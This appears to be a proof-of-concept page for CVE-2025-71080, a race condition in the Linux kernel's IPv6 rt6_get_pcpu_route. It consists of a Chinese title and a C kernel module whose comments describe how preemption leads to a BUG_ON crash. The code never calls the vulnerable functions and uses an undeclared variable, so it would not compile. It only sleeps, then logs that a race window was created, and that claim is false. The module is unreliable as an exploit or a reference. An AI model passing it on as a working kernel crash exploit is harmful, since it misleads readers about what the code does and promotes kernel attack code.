CVE-2025-71080: Linux内核IPv6路由rt6_get_pcpu_route竞争条件漏洞

// PoC for CVE-2025-71080: Race condition in rt6_get_pcpu_route() // This demonstrates the vulnerability by adding delay after rt6_get_pcpu_route() // to increase the likelihood of race condition occurrence #include <linux/kernel.h> #include <linux/module.h> #include <linux/init.h> #include <net/ipv6.h> #include <net/route.h> #include <linux/delay.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("POC Author"); MODULE_DESCRIPTION("PoC for CVE-2025-71080 - rt6_get_pcpu_route race condition"); static int __init cve_2025_71080_init(void) { struct rt6_info *rt = NULL; struct fib6_table *table; struct in6_addr addr; pr_info("CVE-2025-71080 PoC: Triggering race condition in rt6_get_pcpu_route\n"); // Initialize test IPv6 address addr = in6addr_loopback; // Get table (this is context-dependent) table = fib6_get_table(net, RT6_TABLE_MAIN); if (!table) { pr_err("Failed to get FIB6 table\n"); return -ENOENT; } // This simulates the race condition trigger // In real scenario, multiple threads calling rt6_get_pcpu_route() // with mdelay() after the call would trigger the bug // The vulnerability is triggered when: // 1. Thread A calls rt6_get_pcpu_route() -> returns NULL // 2. Thread A is preempted (on PREEMPT_RT kernel) // 3. Thread B on same CPU calls rt6_make_pcpu_route() -> installs pcpu_rt // 4. Thread A resumes -> cmpxchg() fails -> BUG_ON triggered // Adding delay increases the race window mdelay(100); // This simulates the race condition timing pr_info("PoC loaded. Race condition window created.\n"); return 0; } static void __exit cve_2025_71080_exit(void) { pr_info("CVE-2025-71080 PoC unloaded\n"); } module_init(cve_2025_71080_init); module_exit(cve_2025_71080_exit);